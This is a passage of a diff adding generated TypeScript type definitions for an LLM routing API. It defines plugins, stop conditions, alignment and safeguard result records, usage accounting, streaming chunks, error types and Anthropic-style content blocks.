only endpoints that do not retain prompts will be used. + * @example true + * @type boolean | undefined + */ + zdr?: boolean | null +} | null + +/** + * @example {"enabled":true,"id":"response-healing"} + * @type object + */ +export type ResponseHealingPlugin = { + /** + * @description Set to false to disable the response-healing plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + id: 'response-healing' +} + +/** + * @description Stop after the agent loop has executed this many steps. + * @example {"step_count":5,"type":"step_count_is"} + * @type object + */ +export type StopServerToolsWhenStepCountIs = { + step_count: number + type: 'step_count_is' +} + +/** + * @description Stop after a tool with this name has been called. + * @example {"tool_name":"finalize","type":"has_tool_call"} + * @type object + */ +export type StopServerToolsWhenHasToolCall = { + /** + * @minLength 1 + * @type string + */ + tool_name: string + type: 'has_tool_call' +} + +/** + * @description Stop once cumulative token usage across the loop exceeds this threshold. + * @example {"max_tokens":10000,"type":"max_tokens_used"} + * @type object + */ +export type StopServerToolsWhenMaxTokensUsed = { + max_tokens: number + type: 'max_tokens_used' +} + +/** + * @description Stop once cumulative cost across the loop exceeds this dollar threshold. + * @example {"max_cost_in_dollars":0.5,"type":"max_cost"} + * @type object + */ +export type StopServerToolsWhenMaxCost = { + /** + * @description + * Format: `double` + * @type number + */ + max_cost_in_dollars: number + type: 'max_cost' +} + +/** + * @description Stop when the upstream model emits this finish reason (e.g. `length`). + * @example {"reason":"length","type":"finish_reason_is"} + * @type object + */ +export type StopServerToolsWhenFinishReasonIs = { + /** + * @minLength 1 + * @type string + */ + reason: string + type: 'finish_reason_is' +} + +/** + * @description A single condition that, when met, halts the server-tool agent loop. + * @example {"step_count":5,"type":"step_count_is"} + */ +export type StopServerToolsWhenCondition = + | (StopServerToolsWhenStepCountIs & { + type: 'step_count_is' + }) + | (StopServerToolsWhenHasToolCall & { + type: 'has_tool_call' + }) + | (StopServerToolsWhenMaxTokensUsed & { + type: 'max_tokens_used' + }) + | (StopServerToolsWhenMaxCost & { + type: 'max_cost' + }) + | (StopServerToolsWhenFinishReasonIs & { + type: 'finish_reason_is' + }) + +/** + * @description Stop conditions for the server-tool agent loop. Any condition firing halts the loop (OR logic). When set, this overrides `max_tool_calls`. When a condition fires while the model is still emitting tool calls, the pending tool calls are executed and one final turn is made with tool calls disabled so the response ends with a natural-language answer instead of an unfinished tool call. + * @example [{"step_count":5,"type":"step_count_is"},{"max_cost_in_dollars":0.5,"type":"max_cost"}] + * @type array + */ +export type StopServerToolsWhen = StopServerToolsWhenCondition[] + +export const switchyardRouterPluginAlgorithmEnum = { + capability: 'capability', + stage: 'stage', + auto: 'auto', + random: 'random', + composite: 'composite', + passthrough: 'passthrough', +} as const + +export type SwitchyardRouterPluginAlgorithmEnumKey = + (typeof switchyardRouterPluginAlgorithmEnum)[keyof typeof switchyardRouterPluginAlgorithmEnum] + +/** + * @example {"algorithm":"stage","id":"switchyard-router"} + * @type object + */ +export type SwitchyardRouterPlugin = { + /** + * @description Routing algorithm for this request. "capability" calls a small judge model to rate how demanding the task is, then picks the efficient or capable candidate. "stage" reads the tool-result history (errors, repeated failures, edits landing) and calls the judge only when those signals are undecided. "auto" is "stage" without the judge call. "random" picks one candidate at random. "composite" keeps the tier chosen on the last human turn and re-evaluates tool turns with the stage signals. "passthrough" serves the eligible candidates in the order OpenRouter already ranked them, with no routing decision and no judge call. Omit this field to use the platform default, stage. + * @type string | undefined + */ + algorithm?: SwitchyardRouterPluginAlgorithmEnumKey + id: 'switchyard-router' + /** + * @description The model that runs the judge call for the judge-backed algorithms ("capability", "stage", and "composite"). The model must support structured outputs and have a provider that your account and request settings allow. Otherwise, the request uses the platform default judge, google/gemini-3.5-flash-lite, or openai/gpt-4o-mini when the default does not fit either, and reports the reason in the routing metadata. The judge call is billed to you like any other request. + * @minLength 1 + * @example openai/gpt-5.4-nano + * @type string | undefined + */ + judge_model?: string +} + +/** + * @example {"id":"web-fetch","max_uses":10} + * @type object + */ +export type WebFetchPlugin = { + /** + * @description Only fetch from these domains. + * @type array | undefined + */ + allowed_domains?: string[] + /** + * @description Never fetch from these domains. + * @type array | undefined + */ + blocked_domains?: string[] + id: 'web-fetch' + /** + * @description Maximum content length in approximate tokens. Content exceeding this limit is truncated. + * @type integer | undefined + */ + max_content_tokens?: number + /** + * @description Maximum number of web fetches per request. Once exceeded, the tool returns an error. + * @type integer | undefined + */ + max_uses?: number +} + +export const webSearchEngine = { + native: 'native', + exa: 'exa', + firecrawl: 'firecrawl', + parallel: 'parallel', + perplexity: 'perplexity', +} as const + +export type WebSearchEngineKey = + (typeof webSearchEngine)[keyof typeof webSearchEngine] + +/** + * @description User location information for web search + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object + */ +export type WebSearchUserLocation = { + city?: string | null + country?: string | null + region?: string | null + timezone?: string | null + type?: 'approximate' +} | null + +/** + * @example {"enabled":true,"id":"web","max_results":5} + * @type object + */ +export type WebSearchPlugin = { + /** + * @description Set to false to disable the web-search plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description The search engine to use for web search. + * @example exa + * @type string | undefined + */ + engine?: WebSearchEngineKey + /** + * @description A list of domains to exclude from web search results. Supports wildcards (e.g. "*.substack.com") and path filtering (e.g. "openai.com/blog"). + * @example ["example.com","*.substack.com","openai.com/blog"] + * @type array | undefined + */ + exclude_domains?: string[] + id: 'web' + /** + * @description A list of domains to restrict web search results to. Supports wildcards (e.g. "*.substack.com") and path filtering (e.g. "openai.com/blog"). + * @example ["example.com","*.substack.com","openai.com/blog"] + * @type array | undefined + */ + include_domains?: string[] + max_results?: number + /** + * @description Maximum number of times the model can invoke web search in a single turn. Passed through to native providers that support it (e.g. Anthropic). + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + search_prompt?: string + user_location?: WebSearchUserLocation & { + type: 'approximate' + } + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +export type AlignmentRuleRecord = { + /** + * @description Whether the message has a field the rule watches. Only an applicable rule is evaluated. + * @type boolean + */ + applicable: boolean + /** + * @description Whether probability is at or above the threshold. False when the rule is not applicable. + * @type boolean + */ + broken: boolean + /** + * @description The evaluator's probability that the turn breaks the rule; null when the rule is not applicable. + * + * Format: `double` + * @type number + */ + probability: number | null +} + +export type AlignmentAllowedCallRecord = { + /** + * @description Number of the record, from 1. A record is one evaluated assistant message; a model call of a server-tool loop that produces several messages has one record per message, and a retry continues the numbering. + * @type integer + */ + call: number + outcome: 'allowed' + /** + * @description One record per rule, in the order of `rules` in the request. + * @type array + */ + rules: AlignmentRuleRecord[] +} + +export type AlignmentBlockedCallRecord = { + /** + * @description Number of the record, from 1. A record is one evaluated assistant message; a model call of a server-tool loop that produces several messages has one record per message, and a retry continues the numbering. + * @type integer + */ + call: number + outcome: 'blocked' + /** + * @description One record per rule, in the order of `rules` in the request. + * @type array + */ + rules: AlignmentRuleRecord[] +} + +export const alignmentUnavailableCallRecordReasonEnum = { + cut: 'cut', + evaluator_error: 'evaluator_error', + malformed_answer: 'malformed_answer', + time_limit: 'time_limit', +} as const + +export type AlignmentUnavailableCallRecordReasonEnumKey = + (typeof alignmentUnavailableCallRecordReasonEnum)[keyof typeof alignmentUnavailableCallRecordReasonEnum] + +export type AlignmentUnavailableCallRecord = { + /** + * @description Number of the record, from 1. A record is one evaluated assistant message; a model call of a server-tool loop that produces several messages has one record per message, and a retry continues the numbering. + * @type integer + */ + call: number + outcome: 'unavailable' + reason: AlignmentUnavailableCallRecordReasonEnumKey +} + +export type AlignmentCallRecord = + | (AlignmentAllowedCallRecord & { + outcome: 'allowed' + }) + | (AlignmentBlockedCallRecord & { + outcome: 'blocked' + }) + | (AlignmentUnavailableCallRecord & { + outcome: 'unavailable' + }) + +/** + * @description Beta. The result of the alignment plugin for this request; the shape may change. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + * @type object + */ +export type Alignment = { + /** + * @description One record per evaluated assistant message of the request, in the order the messages were produced. Empty when no message of the request had content to evaluate. + * @type array + */ + calls: AlignmentCallRecord[] +} + +export const outcomeEnum = { + flagged: 'flagged', + not_flagged: 'not_flagged', +} as const + +export type OutcomeEnumKey = (typeof outcomeEnum)[keyof typeof outcomeEnum] + +/** + * @description The outcome of OpenRouter Armor for each client tool call of the response, keyed by tool-call id, in the same shape Anthropic reports its server-side safeguards. + * @example {"status":{"tool_uses":{"call_abc":{"explanation":"[Data Exfiltration]","outcome":"flagged","type":"evaluated"},"call_def":{"outcome":"not_flagged","type":"evaluated"}},"type":"available"},"type":"dangerous_tool_use"} + * @type object + */ +export type ArmorSafeguardResult = { + status: { + tool_uses: { + [key: string]: + | { + explanation?: string + outcome: OutcomeEnumKey + type: 'evaluated' + } + | { + type: 'skipped' + } + | { + reason: string + type: 'unavailable' + } + } + type: 'available' + } + type: 'dangerous_tool_use' +} + +export const chatFinishReasonEnum = { + tool_calls: 'tool_calls', + stop: 'stop', + length: 'length', + content_filter: 'content_filter', + error: 'error', +} as const + +export type ChatFinishReasonEnumKey = + (typeof chatFinishReasonEnum)[keyof typeof chatFinishReasonEnum] + +/** + * @description Token log probability information + * @example {"bytes":null,"logprob":-0.612345,"token":" Hello","top_logprobs":[{"bytes":null,"logprob":-0.612345,"token":" Hello"}]} + * @type object + */ +export type ChatTokenLogprob = { + /** + * @description UTF-8 bytes of the token + * @type array + */ + bytes: number[] | null + /** + * @description Log probability of the token + * + * Format: `double` + * @type number + */ + logprob: number + /** + * @description The token + * @type string + */ + token: string + /** + * @description Top alternative tokens with probabilities + * @type array + */ + top_logprobs: { + bytes: number[] | null + /** + * @description + * Format: `double` + * @type number + */ + logprob: number + token: string + }[] +} + +/** + * @description Log probabilities for the completion + * @example {"content":[{"bytes":null,"logprob":-0.612345,"token":" Hello","top_logprobs":[]}],"refusal":null} + * @type object + */ +export type ChatTokenLogprobs = { + /** + * @description Log probabilities for content tokens + * @type array + */ + content: ChatTokenLogprob[] | null + /** + * @description Log probabilities for refusal tokens + * @type array | undefined + */ + refusal?: ChatTokenLogprob[] | null +} | null + +/** + * @description Chat completion choice + * @example {"finish_reason":"stop","index":0,"logprobs":null,"message":{"content":"The capital of France is Paris.","role":"assistant"}} + * @type object + */ +export type ChatChoice = { + /** + * @example stop + * @type string + */ + finish_reason: ChatFinishReasonEnumKey | null + /** + * @description Choice index + * @example 0 + * @type integer + */ + index: number + /** + * @description Log probabilities for the completion + * @example {"content":[{"bytes":null,"logprob":-0.612345,"token":" Hello","top_logprobs":[]}],"refusal":null} + * @type object | undefined + */ + logprobs?: ChatTokenLogprobs | null + /** + * @description Assistant message for requests and responses + * @example {"content":"The capital of France is Paris.","model":"openai/gpt-4o","role":"assistant"} + * @type object + */ + message: ChatAssistantMessage +} + +/** + * @description Breakdown of upstream inference costs + * @example {"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008} + * @type object + */ +export type CostDetails = { + /** + * @description Metered server-tool execution cost (for example, shell sandbox time) billed for this request, in USD. Matches the billed checkpoint and settlement amounts exactly. 0 when a metered server tool ran but settled at zero dollars; absent when no metered server tool ran. + * + * Format: `double` + * @type number | undefined + */ + server_tool_cost?: number | null + /** + * @description + * Format: `double` + * @type number + */ + upstream_inference_completions_cost: number + /** + * @description + * Format: `double` + * @type number | undefined + */ + upstream_inference_cost?: number | null + /** + * @description + * Format: `double` + * @type number + */ + upstream_inference_prompt_cost: number +} | null + +/** + * @description Totals across every upstream model call of a deferred-tools run. The native usage fields report only the final call; cost covers every call. + * @example {"completion_tokens":180,"prompt_tokens":2400,"total_tokens":2580,"turns":2} + * @type object + */ +export type DeferredToolsDetails = { + /** + * @description Completion tokens summed over every upstream call + * @type integer + */ + completion_tokens: number + /** + * @description Prompt tokens summed over every upstream call + * @type integer + */ + prompt_tokens: number + /** + * @description Sum of the above two fields + * @type integer + */ + total_tokens: number + /** + * @description Upstream model calls the run made + * @minimum 0 + * @type integer + */ + turns: number +} + +/** + * @description Usage for server-side tool execution (e.g., web search) + * @example {"tool_calls_executed":2,"tool_calls_requested":2,"web_search_requests":2} + * @type object + */ +export type ServerToolUseDetails = { + /** + * @description Number of OpenRouter server tool calls that executed and produced a result. + * @type integer | undefined + */ + tool_calls_executed?: number | null + /** + * @description Total number of OpenRouter server-orchestrated tool calls the model requested, across all tool types. Provider-native tools (e.g. native web search) are not counted here. + * @type integer | undefined + */ + tool_calls_requested?: number | null + /** + * @description Number of web searches performed by server-side tools. For server-orchestrated tool calls a web search is also counted in tool_calls_requested; provider-native web search may report web_search_requests only. Do not sum the two. + * @type integer | undefined + */ + web_search_requests?: number | null +} | null + +/** + * @description Token usage statistics + * @example {"completion_tokens":15,"completion_tokens_details":{"reasoning_tokens":5},"cost":0.0012,"cost_details":{"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008},"is_byok":false,"prompt_tokens":10,"prompt_tokens_details":{"cached_tokens":2},"server_tool_use_details":{"tool_calls_executed":2,"tool_calls_requested":2},"total_tokens":25} + * @type object + */ +export type ChatUsage = { + /** + * @description Number of tokens in the completion + * @type integer + */ + completion_tokens: number + /** + * @description Detailed completion token usage + * @type object | undefined + */ + completion_tokens_details?: { + /** + * @description Accepted prediction tokens + * @type integer | undefined + */ + accepted_prediction_tokens?: number | null + /** + * @description Tokens used for audio output + * @type integer | undefined + */ + audio_tokens?: number | null + /** + * @description Tokens used for reasoning + * @type integer | undefined + */ + reasoning_tokens?: number | null + /** + * @description Rejected prediction tokens + * @type integer | undefined + */ + rejected_prediction_tokens?: number | null + } | null + /** + * @description Cost of the completion + * + * Format: `double` + * @type number | undefined + */ + cost?: number | null + /** + * @description Breakdown of upstream inference costs + * @example {"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008} + * @type object | undefined + */ + cost_details?: CostDetails | null + /** + * @description Totals across every upstream model call of a deferred-tools run. The native usage fields report only the final call; cost covers every call. + * @example {"completion_tokens":180,"prompt_tokens":2400,"total_tokens":2580,"turns":2} + * @type object | undefined + */ + deferred_tools_details?: DeferredToolsDetails + /** + * @description Whether a request was made using a Bring Your Own Key configuration + * @type boolean | undefined + */ + is_byok?: boolean + /** + * @description Number of tokens in the prompt + * @type integer + */ + prompt_tokens: number + /** + * @description Detailed prompt token usage + * @type object | undefined + */ + prompt_tokens_details?: { + /** + * @description Audio input tokens + * @type integer | undefined + */ + audio_tokens?: number + /** + * @description Tokens written to cache. Only returned for models with explicit caching and cache write pricing. + * @type integer | undefined + */ + cache_write_tokens?: number + /** + * @description Cached prompt tokens + * @type integer | undefined + */ + cached_tokens?: number + /** + * @description Video input tokens + * @type integer | undefined + */ + video_tokens?: number + } | null + /** + * @description Usage for server-side tool execution (e.g., web search) + * @example {"tool_calls_executed":2,"tool_calls_requested":2,"web_search_requests":2} + * @type object | undefined + */ + server_tool_use_details?: ServerToolUseDetails | null + /** + * @description Total number of tokens + * @type integer + */ + total_tokens: number +} + +/** + * @example {"model":"openai/gpt-4o","provider":"OpenAI","selected":true} + * @type object + */ +export type EndpointInfo = { + model: string + provider: string + selected: boolean +} + +/** + * @example {"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":3} + * @type object + */ +export type EndpointsMetadata = { + available: EndpointInfo[] + total: number +} + +/** + * @example {"model":"openai/gpt-4o","provider":"OpenAI","status":200} + * @type object + */ +export type RouterAttempt = { + model: string + provider: string + status: number +} + +/** + * @example {"version_group":"anthropic/claude-sonnet-4"} + * @type object + */ +export type RouterParams = { + /** + * @description + * Format: `double` + * @type number | undefined + */ + quality_floor?: number + /** + * @description + * Format: `double` + * @type number | undefined + */ + throughput_floor?: number + version_group?: string + [key: string]: unknown +} + +export const pipelineStageType = { + guardrail: 'guardrail', + plugin: 'plugin', + server_tools: 'server_tools', + response_healing: 'response_healing', + context_compression: 'context_compression', +} as const + +export type PipelineStageTypeKey = + (typeof pipelineStageType)[keyof typeof pipelineStageType] + +/** + * @example {"data":{"action":"redacted","engines":["presidio"],"flagged":true,"matched_entity_types":["EMAIL","PHONE"]},"name":"content-filter","summary":"PII redacted via Presidio (EMAIL, PHONE)","type":"guardrail"} + * @type object + */ +export type PipelineStage = { + /** + * @description + * Format: `double` + * @type number | undefined + */ + cost_usd?: number | null + data?: { + [key: string]: unknown + } + guardrail_id?: string + guardrail_scope?: string + name: string + summary?: string + /** + * @description Categorical kind of a pipeline stage. Multiple plugins can share a type (e.g. all guardrail-level plugins emit `guardrail`); the `name` field disambiguates which plugin emitted it. + * @example guardrail + * @type string + */ + type: PipelineStageTypeKey +} + +export const routingStrategy = { + direct: 'direct', + auto: 'auto', + free: 'free', + latest: 'latest', + alias: 'alias', + fallback: 'fallback', + pareto: 'pareto', + bodybuilder: 'bodybuilder', + fusion: 'fusion', +} as const + +export type RoutingStrategyKey = + (typeof routingStrategy)[keyof typeof routingStrategy] + +/** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object + */ +export type OpenRouterMetadata = { + attempt: number + attempts?: RouterAttempt[] + /** + * @example {"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":3} + * @type object + */ + endpoints: EndpointsMetadata + /** + * @description Milliseconds measured for the generation, from dispatching the upstream request until its response body ended. Divide the completion token count by this for throughput. Absent when no upstream request was dispatched. + * @example 2016 + * @type integer | undefined + */ + generation_time?: number + is_byok: boolean + /** + * @example {"version_group":"anthropic/claude-sonnet-4"} + * @type object | undefined + */ + params?: RouterParams + pipeline?: PipelineStage[] + region: string | null + requested: string + /** + * @example direct + * @type string + */ + strategy: RoutingStrategyKey + summary: string +} + +export const apiErrorType = { + context_length_exceeded: 'context_length_exceeded', + max_tokens_exceeded: 'max_tokens_exceeded', + token_limit_exceeded: 'token_limit_exceeded', + string_too_long: 'string_too_long', + authentication: 'authentication', + permission_denied: 'permission_denied', + payment_required: 'payment_required', + rate_limit_exceeded: 'rate_limit_exceeded', + provider_overloaded: 'provider_overloaded', + provider_unavailable: 'provider_unavailable', + invalid_request: 'invalid_request', + invalid_prompt: 'invalid_prompt', + not_found: 'not_found', + precondition_failed: 'precondition_failed', + payload_too_large: 'payload_too_large', + unprocessable: 'unprocessable', + content_policy_violation: 'content_policy_violation', + refusal: 'refusal', + invalid_image: 'invalid_image', + image_too_large: 'image_too_large', + image_too_small: 'image_too_small', + unsupported_image_format: 'unsupported_image_format', + image_not_found: 'image_not_found', + image_download_failed: 'image_download_failed', + server: 'server', + timeout: 'timeout', + unmapped: 'unmapped', +} as const + +export type ApiErrorTypeKey = (typeof apiErrorType)[keyof typeof apiErrorType] + +/** + * @description Reasoning details for extended thinking models + * @example [{"text":"Let me think about this...","type":"reasoning.text"}] + * @type array + */ +export type ChatStreamReasoningDetails = ReasoningDetailUnion[] + +/** + * @description Tool call delta for streaming responses + * @example {"function":{"arguments":"{\"location\": \"...\"}","name":"get_weather"},"id":"call_abc123","index":0,"type":"function"} + * @type object + */ +export type ChatStreamToolCall = { + /** + * @description Function call details + * @type object | undefined + */ + function?: { + /** + * @description Function arguments as JSON string + * @example {"location": "..."} + * @type string | undefined + */ + arguments?: string + /** + * @description Function name + * @example get_weather + * @type string | undefined + */ + name?: string + } + /** + * @description Tool call identifier + * @example call_abc123 + * @type string | undefined + */ + id?: string + /** + * @description Tool call index in the array + * @example 0 + * @type integer + */ + index: number + /** + * @description Tool call type + * @example function + * @type string | undefined + */ + type?: 'function' +} + +/** + * @description Delta changes in streaming response + * @example {"content":"Hello","role":"assistant"} + * @type object + */ +export type ChatStreamDelta = { + /** + * @description Audio output data + * @example {"data":"UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1f","expires_at":1677652400,"id":"audio_abc123","transcript":"Hello! How can I help you today?"} + * @type object | undefined + */ + audio?: ChatAudioOutput + /** + * @description Message content delta + * @example Hello + * @type string | undefined + */ + content?: string | null + /** + * @description Reasoning content delta + * @example I need to + * @type string | undefined + */ + reasoning?: string | null + /** + * @description Reasoning details for extended thinking models + * @example [{"text":"Let me think about this...","type":"reasoning.text"}] + * @type array | undefined + */ + reasoning_details?: ChatStreamReasoningDetails + /** + * @description Refusal message delta + * @example null + * @type string | undefined + */ + refusal?: string | null + /** + * @description The role of the message author + * @example assistant + * @type string | undefined + */ + role?: 'assistant' + /** + * @description Tool calls delta + * @type array | undefined + */ + tool_calls?: ChatStreamToolCall[] +} + +/** + * @description Streaming completion choice chunk + * @example {"delta":{"content":"Hello","role":"assistant"},"finish_reason":null,"index":0} + * @type object + */ +export type ChatStreamChoice = { + /** + * @description Delta changes in streaming response + * @example {"content":"Hello","role":"assistant"} + * @type object + */ + delta: ChatStreamDelta + /** + * @example stop + * @type string + */ + finish_reason: ChatFinishReasonEnumKey | null + /** + * @description Choice index + * @example 0 + * @type integer + */ + index: number + /** + * @description Log probabilities for the completion + * @example {"content":[{"bytes":null,"logprob":-0.612345,"token":" Hello","top_logprobs":[]}],"refusal":null} + * @type object | undefined + */ + logprobs?: ChatTokenLogprobs | null +} + +/** + * @description Streaming chat completion chunk + * @example {"choices":[{"delta":{"content":"Hello","role":"assistant"},"finish_reason":null,"index":0}],"created":1677652288,"id":"chatcmpl-123","model":"openai/gpt-4","object":"chat.completion.chunk"} + * @type object + */ +export type ChatStreamChunk = { + /** + * @description Beta. On the last data event of a request with the alignment plugin. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + * @type object | undefined + */ + alignment?: Alignment + /** + * @description List of streaming chunk choices + * @type array + */ + choices: ChatStreamChoice[] + /** + * @description Unix timestamp of creation + * @example 1677652288 + * @type integer + */ + created: number + /** + * @description Error information + * @example {"code":429,"message":"Rate limit exceeded","metadata":{"error_type":"rate_limit_exceeded"}} + * @type object | undefined + */ + error?: { + /** + * @description Error code + * + * Format: `int32` + * @example 429 + * @type integer + */ + code: number + /** + * @description Error message + * @example Rate limit exceeded + * @type string + */ + message: string + /** + * @description Structured error metadata + * @type object | undefined + */ + metadata?: { + /** + * @description Canonical OpenRouter error type, stable across all API formats + * @example rate_limit_exceeded + * @type string + */ + error_type: ApiErrorTypeKey + /** + * @description Upstream provider-specific error code, when available + * @type string | undefined + */ + provider_code?: string + } + } + /** + * @description Unique chunk identifier + * @example chatcmpl-123 + * @type string + */ + id: string + /** + * @description Model used for completion + * @example openai/gpt-4 + * @type string + */ + model: string + object: 'chat.completion.chunk' + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + /** + * @description OpenRouter Armor's verdict for each client tool call of this response, present whenever Armor evaluated the response (even when nothing was flagged). Independent of the `openrouter_metadata` opt-in. + * @type array | undefined + */ + safeguard_results?: ArmorSafeguardResult[] + /** + * @description The service tier used by the upstream provider for this request + * @example default + * @type string | undefined + */ + service_tier?: string | null + /** + * @description System fingerprint + * @example fp_44709d6fcb + * @type string | undefined + */ + system_fingerprint?: string + /** + * @description Token usage statistics + * @example {"completion_tokens":15,"completion_tokens_details":{"reasoning_tokens":5},"cost":0.0012,"cost_details":{"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008},"is_byok":false,"prompt_tokens":10,"prompt_tokens_details":{"cached_tokens":2},"server_tool_use_details":{"tool_calls_executed":2,"tool_calls_requested":2},"total_tokens":25} + * @type object | undefined + */ + usage?: ChatUsage +} + +/** + * @example {"data":"data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAA...","format":"wav"} + * @type object + */ +export type MultimodalMedia = { + data: string + format?: string +} + +/** + * @example {"input_audio":{"data":"data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAA...","format":"wav"},"type":"input_audio"} + * @type object + */ +export type ContentPartInputAudio = { + /** + * @example {"data":"data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAA...","format":"wav"} + * @type object + */ + input_audio: MultimodalMedia + type: 'input_audio' +} + +/** + * @example {"input_file":{"data":"data:application/pdf;base64,JVBERi0xLjQKJeLjz9MKMyAw...","format":"pdf"},"type":"input_file"} + * @type object + */ +export type ContentPartInputFile = { + /** + * @example {"data":"data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAA...","format":"wav"} + * @type object + */ + input_file: MultimodalMedia + type: 'input_file' +} + +/** + * @example {"input_video":{"data":"data:video/mp4;base64,AAAAGGZ0eXBtcDQyAAAAAGlzb21tcDQy...","format":"mp4"},"type":"input_video"} + * @type object + */ +export type ContentPartInputVideo = { + /** + * @example {"data":"data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAA...","format":"wav"} + * @type object + */ + input_video: MultimodalMedia + type: 'input_video' +} + +export const anthropicAllowedCallersEnum = { + direct: 'direct', + code_execution_20250825: 'code_execution_20250825', + code_execution_20260120: 'code_execution_20260120', +} as const + +export type AnthropicAllowedCallersEnumKey = + (typeof anthropicAllowedCallersEnum)[keyof typeof anthropicAllowedCallersEnum] + +/** + * @example ["direct"] + * @type array + */ +export type AnthropicAllowedCallers = AnthropicAllowedCallersEnumKey[] + +export const anthropicImageMimeType = { + 'image/jpeg': 'image/jpeg', + 'image/png': 'image/png', + 'image/gif': 'image/gif', + 'image/webp': 'image/webp', +} as const + +export type AnthropicImageMimeTypeKey = + (typeof anthropicImageMimeType)[keyof typeof anthropicImageMimeType] + +/** + * @example {"data":"/9j/4AAQ...","media_type":"image/jpeg","type":"base64"} + * @type object + */ +export type AnthropicBase64ImageSource = { + data: string + /** + * @example image/jpeg + * @type string + */ + media_type: AnthropicImageMimeTypeKey + type: 'base64' +} + +/** + * @example {"data":"JVBERi0x...","media_type":"application/pdf","type":"base64"} + * @type object + */ +export type AnthropicBase64PdfSource = { + data: string + media_type: 'application/pdf' + type: 'base64' +} + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_char_index":18,"start_char_index":0,"type":"char_location"} + * @type object + */ +export type AnthropicCitationCharLocationParam = { + cited_text: string + document_index: number + document_title: string | null + end_char_index: number + start_char_index: number + type: 'char_location' +} + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_block_index":1,"start_block_index":0,"type":"content_block_location"} + * @type object + */ +export type AnthropicCitationContentBlockLocationParam = { + cited_text: string + document_index: number + document_title: string | null + end_block_index: number + start_block_index: number + type: 'content_block_location' +} + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_page_number":2,"start_page_number":1,"type":"page_location"} + * @type object + */ +export type AnthropicCitationPageLocationParam = { + cited_text: string + document_index: number + document_title: string | null + end_page_number: number + start_page_number: number + type: 'page_location' +} + +/** + * @example {"cited_text":"Example cited text","end_block_index":1,"search_result_index":0,"source":"example_source","start_block_index":0,"title":"Example Result","type":"search_result_location"} + * @type object + */ +export type AnthropicCitationSearchResultLocationParam = { + cited_text: string + end_block_index: number + search_result_index: number + source: string + start_block_index: number + title: string | null + type: 'search_result_location' +} + +/** + * @example {"cited_text":"Example cited text","encrypted_index":"enc_idx_0","title":"Example Page","type":"web_search_result_location","url":"https://example.com"} + * @type object + */ +export type AnthropicCitationWebSearchResultLocationParam = { + cited_text: string + encrypted_index: string + title: string | null + type: 'web_search_result_location' + url: string +} + +/** + * @example {"data":"Hello, world!","media_type":"text/plain","type":"text"} + * @type object + */ +export type AnthropicPlainTextSource = { + data: string + media_type: 'text/plain' + type: 'text' +} + +/** + * @example {"text":"Hello, world!","type":"text"} + * @type object + */ +export type AnthropicTextBlockParam = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + citations?: + | ( + | (AnthropicCitationCharLocationParam & { + type: 'char_location' + }) + | (AnthropicCitationPageLocationParam & { + type: 'page_location' + }) + | (AnthropicCitationContentBlockLocationParam & { + type: 'content_block_location' + }) + | (AnthropicCitationWebSearchResultLocationParam & { + type: 'web_search_result_location' + }) + | (AnthropicCitationSearchResultLocationParam & { + type: 'search_result_location' + }) + )[] + | null + text: string + type: 'text' +} + +/** + * @example {"type":"url","url":"https://example.com/image.jpg"} + * @type object + */ +export type AnthropicUrlImageSource = { + type: 'url' + url: string +} + +/** + * @example {"file_id":"or_file_011CNha8iCJcU1wXNR6q4V8w","type":"file"} + * @type object + */ +export type AnthropicFileDocumentSource = { + file_id: string + type: 'file' +} + +/** + * @example {"source":{"data":"/9j/4AAQ...","media_type":"image/jpeg","type":"base64"},"type":"image"} + * @type object + */ +export type AnthropicImageBlockParam = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache 